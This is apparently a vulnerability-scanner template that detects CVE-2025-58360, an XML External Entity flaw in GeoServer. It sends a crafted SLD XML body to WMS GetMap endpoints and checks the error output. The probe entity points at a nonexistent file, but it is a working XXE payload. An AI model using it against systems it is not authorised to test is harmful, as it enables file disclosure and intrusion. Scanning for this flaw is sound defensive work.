id: CVE-2025-58360

info:
  name: "Geoserver - XML External Entity Injection"
  author: vedas-arpsyndicate
  severity: high
  description: |
    GeoServer is an open source server that allows users to share and edit geospatial data. From version 2.26.0 to
    before 2.26.2 and before 2.25.6, an XML External Entity (XXE) vulnerability was identified.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2025-58360&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=geoserver&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L
    cvss-score: 8.2
    cve-id: CVE-2025-58360
    cwe-id: CWE-611
  metadata:
    verified: false
  tags: cve,cve2025,geoserver,xxe,wms,vkev,kev,vuln
http:
  - method: POST
    path:
      - "{{BaseURL}}/geoserver/wfs?service=WMS&request=GetMap"
      - "{{BaseURL}}/wfs?service=WMS&request=GetMap"

    headers:
      Content-Type: application/vnd.ogc.sld+xml

    body: |
      <?xml version="1.0" encoding="UTF-8"?>
      <!DOCTYPE root [ <!ENTITY xxe SYSTEM "/this_file_does_not_exist"> ]>
      <StyledLayerDescriptor version="1.0.0">
      <NamedLayer><Name>&xxe;</Name></NamedLayer>
      </StyledLayerDescriptor>

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "ServiceException"
          - "java.io.FileNotFoundException"
        condition: and

      - type: status
        status:
          - 200